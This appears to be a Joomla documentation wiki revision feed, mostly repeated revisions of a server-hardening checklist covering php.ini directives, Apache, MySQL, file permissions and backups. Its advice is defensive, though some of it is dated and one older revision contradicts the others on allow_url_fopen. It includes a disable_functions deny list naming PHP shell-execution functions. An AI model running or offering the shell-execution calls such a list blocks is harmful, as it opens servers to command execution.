: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been depreciated as of PHP 5.3.0 (30-06-2009) and has been removed from php as of PHP 5.4.0.'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site.

: Joomla! 3.0 and above '''requires''' ''magic_quotes_gpc'' to be set to off and will not install if ''magic_quotes_gpc'' is on.

: Joomla! advises ''magic_quotes_gpc'' to be set to off when using Joomla 2.5.xx.

: Joomla! 1.5 ignores the magic_quotes setting and works fine either way. The safest method is to turn magic_quotes_gpc off and avoid all poorly-written extensions.

: The recommended settings for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions.

For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or
[http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

to turn off magic_quotes_gpc = 0
to turn on magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This is a valid but incomplete solution to a deeper problem and provides a false sense of security. See the official PHP site for an explanation of this issue. http://php.net/manual/en/features.safe-mode.php

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://www.zend.com/manual/security.globals.php ZEND Chapter 29. Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_include but do USE allow_url_fopen ===

: Do not use PHP ''allow_url_include''. This PHP option allows a programmer to include a remote file using an URL rather than a local file path. This is insecure. If an application (or extension) can be tricked into including content from a URL outside itself, an attacker could force the application (or extension) to start running code from their own web site. If an application or extension claims to require this feature to function, you should look into alternatives, as a requirement to use of this feature indicates serious design flaws within the application or extension.

=== Use allow_url_fopen ===
: This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons. '''Enable and use allow_url_fopen to allow Joomla's One-Click-Update to work properly.'''

: For more information see: [http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen PHP Manual: allow_url_fopen and allow_url_include ]

Proper setup will have this:
allow_url_fopen = 1
allow_url_include = 0

PHP default: allow_url_fopen is enabled
PHP default: allow_url_include is disabled

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 750 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 750 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.


[[Category:Security Checklist]]
[[Category:Server configurations]][[Category:Server setup hosted]]

Security Checklist/Hosting and Server Setup

2013-02-20T00:28:37Z

Phild: /* Don't use PHP allow_url_fopen */ rewrote to indicate use allow_url_open and not use allow_url_include

{{:Security Checklist/TOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured htaccess|preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== PHP Being Run as an Apache Module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[How do UNIX file permissions work?|Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been depreciated as of PHP 5.3.0 (30-06-2009) and has been removed from php as of PHP 5.4.0.'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site.

: Joomla! 3.0 and above '''requires''' ''magic_quotes_gpc'' to be set to off and will not install if ''magic_quotes_gpc'' is on.

: Joomla! advises ''magic_quotes_gpc'' to be set to off when using Joomla 2.5.xx.

: Joomla! 1.5 ignores the magic_quotes setting and works fine either way. The safest method is to turn magic_quotes_gpc off and avoid all poorly-written extensions.

: The recommended settings for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions.

For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or
[http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

to turn off magic_quotes_gpc = 0
to turn on magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This is a valid but incomplete solution to a deeper problem and provides a false sense of security. See the official PHP site for an explanation of this issue. http://php.net/manual/en/features.safe-mode.php

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://www.zend.com/manual/security.globals.php ZEND Chapter 29. Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_include but do USE allow_url_fopen ===

: Do not use PHP ''allow_url_include''. This PHP option allows a programmer to include a remote file using an URL rather than a local file path. This is insecure. If an application (or extension) can be tricked into including content from a URL outside itself, an attacker could force the application (or extension) to start running code from their own web site. If an application or extension claims to require this feature to function, you should look into alternatives, as a requirement to use of this feature indicates serious design flaws within the application or extension.

==== Use allow_url_fopen ====
: This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons. '''Enable and use allow_url_fopen to allow Joomla's One-Click-Update to work properly.'''

: For more information see: [http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen PHP Manual: allow_url_fopen and allow_url_include ]

Proper setup will have this:
allow_url_fopen = 1
allow_url_include = 0

PHP default: allow_url_fopen is enabled
PHP default: allow_url_include is disabled

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 750 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 750 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.


[[Category:Security Checklist]]
[[Category:Server configurations]][[Category:Server setup hosted]]

Magic quotes and security

2013-02-19T19:56:45Z

Phild: added information for J!3.0 and notice of MQ

{{incomplete|needs updating|JInput requires magic quotes being turned off and there are issues with this in Joomla 2.5. Article needs to be updated to reflect this}}

'''''This PHP feature has been depreciated as of PHP 5.3.0 (30-06-2009) and has been removed from php as of PHP 5.4.0.'''''

: Joomla! 3.0 and above requires magic_quotes_gpc to be set to off and will not install if magic_quotes_gpc is on.

: Joomla! advises magic_quotes_gpc to be set to off when using Joomla 2.5.xx.

JRequest automatically takes into account the setting of ''magic_quotes_gpc'' and adjusts accordingly. If developers are using JRequest to request input then the actual value of the setting doesn't matter. If developers aren't using it then they will have to take the setting of magic_quotes_gpc into account.

'''Magic Quotes Off''' there is an "increased" risk of SQL Injections due to poorly written
queries not being safely escaped in extensions hence the general PHP and JTS recommendation
that Magic Quotes be ON by default (although in the past PHP has left them
disabled in the default distribution) for a more secure environment.

This setting is now basically irrelevant (can be On or Off) due to the way that Joomla! has been written to overcome the problem of poorly written queries.

The setting is now deprecated and has actually been removed in later PHP releases anyway, hence developers of older PHP applications will need to complete a code review for compliance, and
safety, of which has already been completed by Joomla! quite some time ago and the issue was resolved with JRequest.

In the past, there has been much discussion regarding the performance implications of this setting, in general from my testing and experience, it was negligible at worst and unnoticed at best, unless the queries were very very large, but on the whole the trade-off of improved security against
SQL Injections far outweighs any discussions surrounding performance.

For more on [http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes.]

Edited from a discussion on Joomla CMS development Mailing list between A Eddie, R Winter and C Mandville


[[Category:Security Checklist]]

Security Checklist/Hosting and Server Setup

2013-02-19T19:40:20Z

Phild: /* Adjust magic_quotes_gpc */ to reflect updated information for J

{{:Security Checklist/TOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured htaccess|preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== PHP Being Run as an Apache Module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[How do UNIX file permissions work?|Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been depreciated as of PHP 5.3.0 (30-06-2009) and has been removed from php as of PHP 5.4.0.'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site.

: Joomla! 3.0 and above '''requires''' ''magic_quotes_gpc'' to be set to off and will not install if ''magic_quotes_gpc'' is on.

: Joomla! advises ''magic_quotes_gpc'' to be set to off when using Joomla 2.5.xx.

: Joomla! 1.5 ignores the magic_quotes setting and works fine either way. The safest method is to turn magic_quotes_gpc off and avoid all poorly-written extensions.

: The recommended settings for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions.

For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or
[http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

to turn off magic_quotes_gpc = 0
to turn on magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This is a valid but incomplete solution to a deeper problem and provides a false sense of security. See the official PHP site for an explanation of this issue. http://php.net/manual/en/features.safe-mode.php

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://www.zend.com/manual/security.globals.php ZEND Chapter 29. Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_fopen===

: Don't use PHP ''allow_url_fopen''. This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons.

allow_url_fopen = 0

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 750 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 750 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.


[[Category:Security Checklist]]
[[Category:Server configurations]][[Category:Server setup hosted]]

User:Phild/monobook.js

2013-01-29T22:01:01Z

Phild: Created page with "importScript("User:Csewiki/monobook.js");"

importScript("User:Csewiki/monobook.js");

User:Phild/vector.js

2013-01-29T21:54:34Z

Phild:

importScript("User:Csewiki/vector.js");

User:Phild/vector.js

2013-01-29T21:51:19Z

Phild: add contextual search

importScript("User:Csewiki/vector.js");

J2.5:Migrating from Joomla 1.5 to Joomla 2.5

2013-01-11T19:45:17Z

Phild: added needs review tag - see talk page for reason

{{review}}{{RightTOC}}This guide will take you step-by-step through the general procedure of how to migrate from Joomla 1.5 to later versions such as Joomla 2.5. Please read through all the material as this is not a light undertaking.
=Before Upgrading=
Don't let the numerical closeness of 1.5 and 1.6, mislead you. Joomla 1.6 took three years to develop and has been a major undertaking. Countless hours have been spent by many volunteers from around the world to put it all together. Although much of the code is the same from Joomla 1.5, much of it has been written from the ground up, and the changes are comparable to the changes from Joomla 1.0 to 1.5.
